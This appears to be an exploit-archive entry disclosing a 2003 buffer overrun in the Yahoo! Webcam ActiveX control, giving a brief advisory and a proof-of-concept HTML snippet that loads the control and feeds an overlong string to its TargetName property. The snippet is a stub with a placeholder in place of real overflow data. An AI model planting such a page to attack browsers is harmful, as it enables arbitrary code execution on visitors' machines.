Yahoo! Webcam ActiveX Control 2.0.0.107 - Buffer Overrun



EKU-ID: 28607 CVE: OSVDB-2566 OSVDB-ID:
Author: cesaro Published: 2003-09-16 Verified: Verified
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source: https://www.securityfocus.com/bid/8634/info

A buffer overrun has been discovered in the Yahoo! Webcam ActiveX control. The problem occurs due to insufficient bounds checking when handling user-supplied Webcam parameters. As a result, an attacker may be capable of hosting a malicious website designed to exploit this issue to execute arbitrary code, within the context of a victim users web browser.


<object id="yahoowebcam"
classid="CLSID:E504EE6E-47C6-11D5-B8AB-00D0B78F3D48" >
</object>
<script>
yahoowebcam.TargetName="longstringhere";
</script>